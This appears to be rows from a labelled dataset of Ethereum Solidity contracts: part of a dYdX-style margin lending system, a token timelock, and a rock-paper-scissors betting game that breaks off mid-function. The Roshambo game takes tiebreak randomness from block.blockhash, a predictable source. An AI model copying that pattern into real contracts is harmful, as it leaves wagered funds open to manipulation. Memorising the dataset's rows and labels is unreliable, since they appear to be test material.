state.loanCancels[loanOffering.loanHash].add(amountToCancel);
emit LoanOfferingCanceled(
loanOffering.loanHash,
loanOffering.payer,
loanOffering.feeRecipient,
amountToCancel
);
return amountToCancel;
}
function marginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId,
uint256 requiredDeposit
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
MarginCallDelegator(contractAddr).marginCallOnBehalfOf(
msg.sender,
positionId,
requiredDeposit
);
if (newContractAddr != contractAddr) {
marginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId,
requiredDeposit
);
}
}
function cancelMarginCallOnBehalfOfRecurse(
address contractAddr,
address who,
bytes32 positionId
)
private
{
if (who == contractAddr) {
return;
}
address newContractAddr =
CancelMarginCallDelegator(contractAddr).cancelMarginCallOnBehalfOf(
msg.sender,
positionId
);
if (newContractAddr != contractAddr) {
cancelMarginCallOnBehalfOfRecurse(
newContractAddr,
who,
positionId
);
}
}
function parseLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[0],
heldToken: addresses[1],
payer: addresses[2],
owner: addresses[3],
taker: addresses[4],
positionOwner: addresses[5],
feeRecipient: addresses[6],
lenderFeeToken: addresses[7],
takerFeeToken: addresses[8],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: new bytes(0)
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[7] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
interestRate: values32[2],
lenderFee: values256[3],
takerFee: values256[4],
interestPeriod: values32[3]
});
return rates;
}
}
contract MarginAdmin is Ownable {
uint8 private constant OPERATION_STATE_OPERATIONAL = 0;
uint8 private constant OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY = 1;
uint8 private constant OPERATION_STATE_CLOSE_ONLY = 2;
uint8 private constant OPERATION_STATE_CLOSE_DIRECTLY_ONLY = 3;
uint8 private constant OPERATION_STATE_INVALID = 4;
event OperationStateChanged(
uint8 from,
uint8 to
);
uint8 public operationState;
constructor()
public
Ownable()
{
operationState = OPERATION_STATE_OPERATIONAL;
}
modifier onlyWhileOperational() {
require(
operationState == OPERATION_STATE_OPERATIONAL,
"MarginAdmin#onlyWhileOperational: Can only call while operational"
);
_;
}
modifier cancelLoanOfferingStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY,
"MarginAdmin#cancelLoanOfferingStateControl: Invalid operation state"
);
_;
}
modifier closePositionStateControl() {
require(
operationState == OPERATION_STATE_OPERATIONAL
|| operationState == OPERATION_STATE_CLOSE_AND_CANCEL_LOAN_ONLY
|| operationState == OPERATION_STATE_CLOSE_ONLY,
"MarginAdmin#closePositionStateControl: Invalid operation state"
);
_;
}
modifier closePositionDirectlyStateControl() {
_;
}
function setOperationState(
uint8 newState
)
external
onlyOwner
{
require(
newState < OPERATION_STATE_INVALID,
"MarginAdmin#setOperationState: newState is not a valid operation state"
);
if (newState != operationState) {
emit OperationStateChanged(
operationState,
newState
);
operationState = newState;
}
}
}
contract MarginEvents {
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
event PositionIncreased(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
address positionOwner,
address loanOwner,
bytes32 loanHash,
address loanFeeRecipient,
uint256 amountBorrowed,
uint256 principalAdded,
uint256 heldTokenFromSell,
uint256 depositAmount,
bool depositInHeldToken
);
event PositionClosed(
bytes32 indexed positionId,
address indexed closer,
address indexed payoutRecipient,
uint256 closeAmount,
uint256 remainingAmount,
uint256 owedTokenPaidToLender,
uint256 payoutAmount,
uint256 buybackCostInHeldToken,
bool payoutInHeldToken
);
event CollateralForceRecovered(
bytes32 indexed positionId,
address indexed recipient,
uint256 amount
);
event MarginCallInitiated(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 requiredDeposit
);
event MarginCallCanceled(
bytes32 indexed positionId,
address indexed lender,
address indexed owner,
uint256 depositAmount
);
event LoanOfferingCanceled(
bytes32 indexed loanHash,
address indexed payer,
address indexed feeRecipient,
uint256 cancelAmount
);
event AdditionalCollateralDeposited(
bytes32 indexed positionId,
uint256 amount,
address depositor
);
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
}
library OpenPositionImpl {
using SafeMath for uint256;
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openPositionImpl(
MarginState.State storage state,
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes orderData
)
public
returns (bytes32)
{
BorrowShared.Tx memory transaction = parseOpenTx(
addresses,
values256,
values32,
depositInHeldToken,
signature
);
require(
!MarginCommon.positionHasExisted(state, transaction.positionId),
"OpenPositionImpl#openPositionImpl: positionId already exists"
);
doBorrowAndSell(state, transaction, orderData);
recordPositionOpened(
transaction
);
doStoreNewPosition(
state,
transaction
);
return transaction.positionId;
}
function doBorrowAndSell(
MarginState.State storage state,
BorrowShared.Tx memory transaction,
bytes orderData
)
private
{
BorrowShared.validateTxPreSell(state, transaction);
if (transaction.depositInHeldToken) {
BorrowShared.doDepositHeldToken(state, transaction);
} else {
BorrowShared.doDepositOwedToken(state, transaction);
}
transaction.heldTokenFromSell = BorrowShared.doSell(
state,
transaction,
orderData,
MathHelpers.maxUint256()
);
BorrowShared.doPostSell(state, transaction);
}
function doStoreNewPosition(
MarginState.State storage state,
BorrowShared.Tx memory transaction
)
private
{
MarginCommon.storeNewPosition(
state,
transaction.positionId,
MarginCommon.Position({
owedToken: transaction.loanOffering.owedToken,
heldToken: transaction.loanOffering.heldToken,
lender: transaction.loanOffering.owner,
owner: transaction.owner,
principal: transaction.principal,
requiredDeposit: 0,
callTimeLimit: transaction.loanOffering.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: transaction.loanOffering.maxDuration,
interestRate: transaction.loanOffering.rates.interestRate,
interestPeriod: transaction.loanOffering.rates.interestPeriod
}),
transaction.loanOffering.payer
);
}
function recordPositionOpened(
BorrowShared.Tx transaction
)
private
{
emit PositionOpened(
transaction.positionId,
msg.sender,
transaction.loanOffering.payer,
transaction.loanOffering.loanHash,
transaction.loanOffering.owedToken,
transaction.loanOffering.heldToken,
transaction.loanOffering.feeRecipient,
transaction.principal,
transaction.heldTokenFromSell,
transaction.depositAmount,
transaction.loanOffering.rates.interestRate,
transaction.loanOffering.callTimeLimit,
transaction.loanOffering.maxDuration,
transaction.depositInHeldToken
);
}
function parseOpenTx(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature
)
private
view
returns (BorrowShared.Tx memory)
{
BorrowShared.Tx memory transaction = BorrowShared.Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[9]),
owner: addresses[0],
principal: values256[7],
lenderAmount: values256[7],
loanOffering: parseLoanOffering(
addresses,
values256,
values32,
signature
),
exchangeWrapper: addresses[10],
depositInHeldToken: depositInHeldToken,
depositAmount: values256[8],
collateralAmount: 0,
heldTokenFromSell: 0
});
return transaction;
}
function parseLoanOffering(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bytes signature
)
private
view
returns (MarginCommon.LoanOffering memory)
{
MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({
owedToken: addresses[1],
heldToken: addresses[2],
payer: addresses[3],
owner: addresses[4],
taker: addresses[5],
positionOwner: addresses[6],
feeRecipient: addresses[7],
lenderFeeToken: addresses[8],
takerFeeToken: addresses[9],
rates: parseLoanOfferRates(values256, values32),
expirationTimestamp: values256[5],
callTimeLimit: values32[0],
maxDuration: values32[1],
salt: values256[6],
loanHash: 0,
signature: signature
});
loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering);
return loanOffering;
}
function parseLoanOfferRates(
uint256[10] values256,
uint32[4] values32
)
private
pure
returns (MarginCommon.LoanRates memory)
{
MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({
maxAmount: values256[0],
minAmount: values256[1],
minHeldToken: values256[2],
lenderFee: values256[3],
takerFee: values256[4],
interestRate: values32[2],
interestPeriod: values32[3]
});
return rates;
}
}
library OpenWithoutCounterpartyImpl {
struct Tx {
bytes32 positionId;
address positionOwner;
address owedToken;
address heldToken;
address loanOwner;
uint256 principal;
uint256 deposit;
uint32 callTimeLimit;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
event PositionOpened(
bytes32 indexed positionId,
address indexed trader,
address indexed lender,
bytes32 loanHash,
address owedToken,
address heldToken,
address loanFeeRecipient,
uint256 principal,
uint256 heldTokenFromSell,
uint256 depositAmount,
uint256 interestRate,
uint32 callTimeLimit,
uint32 maxDuration,
bool depositInHeldToken
);
function openWithoutCounterpartyImpl(
MarginState.State storage state,
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
public
returns (bytes32)
{
Tx memory openTx = parseTx(
addresses,
values256,
values32
);
validate(
state,
openTx
);
Vault(state.VAULT).transferToVault(
openTx.positionId,
openTx.heldToken,
msg.sender,
openTx.deposit
);
recordPositionOpened(
openTx
);
doStoreNewPosition(
state,
openTx
);
return openTx.positionId;
}
function doStoreNewPosition(
MarginState.State storage state,
Tx memory openTx
)
private
{
MarginCommon.storeNewPosition(
state,
openTx.positionId,
MarginCommon.Position({
owedToken: openTx.owedToken,
heldToken: openTx.heldToken,
lender: openTx.loanOwner,
owner: openTx.positionOwner,
principal: openTx.principal,
requiredDeposit: 0,
callTimeLimit: openTx.callTimeLimit,
startTimestamp: 0,
callTimestamp: 0,
maxDuration: openTx.maxDuration,
interestRate: openTx.interestRate,
interestPeriod: openTx.interestPeriod
}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
interface ExchangeReader {
function getMaxMakerAmount(
address makerToken,
address takerToken,
bytes orderData
)
external
view
returns (uint256);
}
contract AuctionProxy
{
using TokenInteract for address;
using SafeMath for uint256;
struct Position {
address heldToken;
address owedToken;
address owner;
uint256 principal;
uint256 owedTokenOwed;
}
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
function closePosition(
bytes32 positionId,
uint256 minCloseAmount,
address dutchAuction,
address exchangeWrapper,
bytes orderData
)
external
returns (uint256)
{
Margin margin = Margin(DYDX_MARGIN);
if (!margin.containsPosition(positionId)) {
return 0;
}
Position memory position = parsePosition(margin, positionId);
uint256 maxCloseAmount = getMaxCloseAmount(position, exchangeWrapper, orderData);
if (maxCloseAmount == 0) {
return 0;
}
if (maxCloseAmount < minCloseAmount) {
return 0;
}
margin.closePosition(
positionId,
maxCloseAmount,
dutchAuction,
exchangeWrapper,
true,
orderData
);
uint256 heldTokenAmount = position.heldToken.balanceOf(address(this));
position.heldToken.transfer(position.owner, heldTokenAmount);
return maxCloseAmount;
}
function parsePosition (
Margin margin,
bytes32 positionId
)
private
view
returns (Position memory)
{
Position memory position;
position.heldToken = margin.getPositionHeldToken(positionId);
position.owedToken = margin.getPositionOwedToken(positionId);
position.owner = margin.getPositionOwner(positionId);
position.principal = margin.getPositionPrincipal(positionId);
position.owedTokenOwed = margin.getPositionOwedAmount(positionId);
return position;
}
function getMaxCloseAmount(
Position memory position,
address exchangeWrapper,
bytes orderData
)
private
view
returns (uint256)
{
uint256 makerTokenAmount = ExchangeReader(exchangeWrapper).getMaxMakerAmount(
position.owedToken,
position.heldToken,
orderData
);
uint256 closeAmount = MathHelpers.getPartialAmount(
position.principal,
position.owedTokenOwed,
makerTokenAmount
);
return closeAmount;
}
} | 0 | 923 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
} | 0 | 1,610 |
pragma solidity ^0.4.11;
contract Roshambo {
enum State { Unrealized, Created, Joined, Ended }
enum Result { Unfinished, Draw, Win, Loss, Forfeit }
enum ResultType { None, StraightUp, Tiebroken, SuperDraw }
struct Game {
address player1;
address player2;
uint value;
bytes32 hiddenMove1;
uint8 move1;
uint8 move2;
uint gameStart;
uint8 tiebreaker;
uint8 tiebreaker1;
uint8 tiebreaker2;
State state;
Result result;
ResultType resultType;
}
address public owner1;
uint8 constant feeDivisor = 100;
uint constant revealTime = 7 days;
bool paused;
bool expired;
uint gameIdCounter;
event Deposit(address indexed player, uint amount);
event Withdraw(address indexed player, uint amount);
event GameCreated(address indexed player1, address indexed player2, uint indexed gameId, uint value, bytes32 hiddenMove1);
event GameJoined(address indexed player1, address indexed player2, uint indexed gameId, uint value, uint8 move2, uint gameStart);
event GameEnded(address indexed player1, address indexed player2, uint indexed gameId, uint value, Result result, ResultType resultType);
mapping(address => uint) public balances;
mapping(address => uint) public totalWon;
mapping(address => uint) public totalLost;
Game [] public games;
mapping(address => string) public playerNames;
mapping(uint => bool) public nameTaken;
mapping(bytes32 => bool) public secretTaken;
modifier onlyOwner { require(msg.sender == owner1); _; }
modifier notPaused { require(!paused); _; }
modifier notExpired { require(!expired); _; }
function Roshambo() public {
owner1 = msg.sender;
paused = true;
}
function rand(uint8 min, uint8 max) constant internal returns (uint8){
return uint8(block.blockhash(block.number-min))% max + min;
}
function getGames() constant internal returns (Game []) {
return games;
}
function totalProfit(address player) constant internal returns (int) {
if (totalLost[player] > totalWon[player]) {
return -int(totalLost[player] - totalWon[player]);
}
else {
return int(totalWon[player] - totalLost[player]);
}
}
function createGame(bytes32 move, uint val, address player2) public
payable notPaused notExpired returns (uint gameId) {
deposit();
require(balances[msg.sender] >= val);
require(!secretTaken[move]);
secretTaken[move] = true;
balances[msg.sender] -= val;
gameId = gameIdCounter;
games.push(Game(msg.sender, player2, val, move, 0, 0, 0, 0, 0, 0, State.Created, Result(0), ResultType(0)));
GameCreated(msg.sender, player2, gameId, val, move);
gameIdCounter++;
}
function abortGame(uint gameId) public notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.player1 == msg.sender);
require(thisGame.state == State.Created);
thisGame.state = State.Ended;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, Result(0), ResultType.StraightUp);
msg.sender.transfer(thisGame.value);
return true;
}
function joinGame(uint gameId, uint8 move, uint8 tiebreaker) public payable notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Created);
require(move > 0 && move <= 3);
if (thisGame.player2 == 0x0) {
thisGame.player2 = msg.sender;
}
else {
require(thisGame.player2 == msg.sender);
}
require(thisGame.value == msg.value);
thisGame.gameStart = now;
thisGame.state = State.Joined;
thisGame.move2 = move;
thisGame.tiebreaker2 = tiebreaker;
GameJoined(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.move2, thisGame.gameStart);
return true;
}
function revealMove(uint gameId, uint8 move, uint8 tiebreaker, string secret) public notPaused returns (Result result) {
Game storage thisGame = games[gameId];
ResultType resultType = ResultType.None;
require(thisGame.state == State.Joined);
require(thisGame.player1 == msg.sender);
require(thisGame.hiddenMove1 == keccak256(uint(move), uint(tiebreaker), secret));
thisGame.move1 = move;
thisGame.tiebreaker1 = tiebreaker;
if (move > 0 && move <= 3) {
result = Result(((3 + move - thisGame.move2) % 3) + 1);
}
else {
result = Result.Loss;
}
thisGame.state = State.Ended;
address winner;
if (result != Result.Draw) {
resultType = ResultType.StraightUp;
}
if (result == Result.Draw) {
thisGame.tiebreaker = rand(1, 100);
int8 player1Tiebreaker = int8(thisGame.tiebreaker) - int8(thisGame.tiebreaker1);
if(player1Tiebreaker < 0) {
player1Tiebreaker = player1Tiebreaker * int8(-1);
}
int8 player2Tiebreaker = int8(thisGame.tiebreaker) - int8(thisGame.tiebreaker2);
if(player2Tiebreaker < 0) {
player2Tiebreaker = player2Tiebreaker * int8(-1);
}
if(player1Tiebreaker == player2Tiebreaker) {
resultType = ResultType.SuperDraw;
balances[thisGame.player1] += thisGame.value;
balances[thisGame.player2] += thisGame.value;
}else{
resultType = ResultType.Tiebroken;
if(player1Tiebreaker < player2Tiebreaker) {
result = Result.Win;
}else{
result = Result.Loss;
}
}
}
if(resultType != ResultType.SuperDraw) {
if (result == Result.Win) {
winner = thisGame.player1;
totalLost[thisGame.player2] += thisGame.value;
}
else {
winner = thisGame.player2;
totalLost[thisGame.player1] += thisGame.value;
}
uint fee = (thisGame.value) / feeDivisor;
balances[owner1] += fee*2;
totalWon[winner] += thisGame.value - fee*2;
winner.transfer((thisGame.value*2) - fee*2);
}
thisGame.result = result;
thisGame.resultType = resultType;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, result, resultType);
}
function forfeitGame(uint gameId) public notPaused returns (bool success) {
Game storage thisGame = games[gameId];
require(thisGame.state == State.Joined);
require(thisGame.player1 == msg.sender);
uint fee = (thisGame.value) / feeDivisor;
balances[owner1] += fee*2;
totalLost[thisGame.player1] += thisGame.value;
totalWon[thisGame.player2] += thisGame.value - fee*2;
thisGame.state = State.Ended;
thisGame.result = Result.Forfeit;
GameEnded(thisGame.player1, thisGame.player2, gameId, thisGame.value, thisGame.result, ResultType.StraightUp);
thisGame.player2.transfer((thisGame.value*2) - fee*2);
return true;
}
function claimGame(uint gameId) public notPaused returns (bool success) {
